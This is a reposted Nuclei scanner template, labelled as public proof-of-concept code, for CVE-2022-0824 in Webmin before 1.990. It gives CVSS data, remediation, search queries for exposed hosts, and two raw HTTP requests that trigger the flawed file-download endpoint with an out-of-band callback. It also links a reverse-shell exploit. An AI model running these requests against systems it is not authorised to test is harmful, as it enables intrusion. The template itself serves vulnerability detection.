Webmin before 1.990 is susceptible to improper access control in GitHub repository webmin/webmin. This in turn can lead to remote code execution, by which an attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.
PoC代码[已公开]
id: CVE-2022-0824
info:
name: Webmin <1.990 - Improper Access Control
author: cckuailong
severity: high
description: Webmin before 1.990 is susceptible to improper access control in GitHub repository webmin/webmin. This in turn can lead to remote code execution, by which an attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.
impact: |
Successful exploitation of this vulnerability could allow an attacker to gain unauthorized access to sensitive information or perform unauthorized actions.
remediation: |
Upgrade Webmin to version 1.990 or later to mitigate this vulnerability.
reference:
- https://github.com/faisalfs10x/Webmin-CVE-2022-0824-revshell/blob/main/Webmin-revshell.py
- https://github.com/webmin/webmin/commit/39ea464f0c40b325decd6a5bfb7833fa4a142e38
- https://huntr.dev/bounties/d0049a96-de90-4b1a-9111-94de1044f295
- https://nvd.nist.gov/vuln/detail/CVE-2022-0824
- https://github.com/nomi-sec/PoC-in-GitHub
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
cvss-score: 8.8
cve-id: CVE-2022-0824
cwe-id: CWE-284,CWE-863
epss-score: 0.94003
epss-percentile: 0.99887
cpe: cpe:2.3:a:webmin:webmin:*:*:*:*:*:*:*:*
metadata:
max-request: 2
vendor: webmin
product: webmin
shodan-query: http.title:"webmin"
fofa-query: title="webmin"
google-query: intitle:"webmin"
tags: cve,cve2022,rce,oss,huntr,webmin,authenticated
http:
- raw:
- |
POST /session_login.cgi HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
Cookie: redirect=1;testing=1;PHPSESSID=;
user={{username}}&pass={{password}}
- |
POST /extensions/file-manager/http_download.cgi?module=filemin HTTP/1.1
Host: {{Hostname}}
Accept: application/json, text/javascript, */*; q=0.01
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: {{RootURL}}/filemin/?xnavigation=1
link=http://{{interactsh-url}}&username=&password=&path=/{{ranstr}}
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol
words:
- "dns"
- type: word
part: body
words:
- "Failed to write to /{{ranstr}}/index.html"
# digest: 4b0a00483046022100f11071acf9133e206c43ecfdd8e0b9c85a01c32558cb7ad0aa1f7989edfba4b8022100d9d0722d9a097c84ccc4cecded7d8e1ec262231b4f60468ec84418854a561306:922c64590222798bb761d5b6d8e72950